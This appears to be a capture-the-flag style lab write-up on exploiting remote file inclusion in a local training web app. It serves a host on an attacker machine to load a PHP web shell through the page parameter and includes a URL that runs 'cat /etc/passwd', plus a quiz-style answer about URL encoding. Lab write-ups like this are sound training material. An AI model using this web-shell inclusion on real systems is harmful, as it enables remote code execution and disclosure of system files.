# Web Shell with Remote File Inclusion (RFI)

## Lab 22: Insecure Direct Object Reference - Web Shell with Remote File Inclusion (RFI)

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FeNoEongmCXW9Z08qcqtx%2Fimage.png?alt=media&#x26;token=7fea059f-0450-4abe-b763-3991654dfd5d" alt=""><figcaption></figcaption></figure>

Go to lab page: [https://127.0.0.1/index.php?page=labs/lab-22.php](https://127.0.0.1/index.php?page=labs/lab-22.php)

The idea is to upload via RFI a web shell to execute directly on the website vulnerable. In this case, i decided to utilize 'simple-backdoor.php'.

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FJ0J8LrHFtBLY7zVksaxc%2Fimage.png?alt=media&#x26;token=d4977af5-ccec-45b3-ac4b-1d758c32ce42" alt=""><figcaption></figcaption></figure>

On the attacker machine (10.0.2.15) we can run a python web server using:&#x20;

`python3 -m http.server 1339`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FXiDQNnWFLBfW4aBkV09R%2Fimage.png?alt=media&#x26;token=9c4b41b6-24ad-4008-a709-1fb2f40bba1e" alt=""><figcaption></figcaption></figure>

and reach it concatenating to IP:PORT file\_name and & cmd=command as below:

[https://127.0.0.1/index.php?page=http://10.0.2.15:1339/simple-backdoor.php\&cmd=cat+/etc/passwd](https://127.0.0.1/index.php?page=http://10.0.2.15:1339/simple-backdoor.php\&cmd=cat+/etc/passwd)

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FqEt7rOqqWOQFKQi4LTYD%2Fimage.png?alt=media&#x26;token=6a893d6d-0aef-4b4b-a727-1ab6f954188f" alt=""><figcaption></figcaption></figure>

The correct answer is the last of the list: The plus symbol is the encoded character representing a space ' '. We have to encode the space character to prevent Apache web server from thinking the space marks the end of the URL.
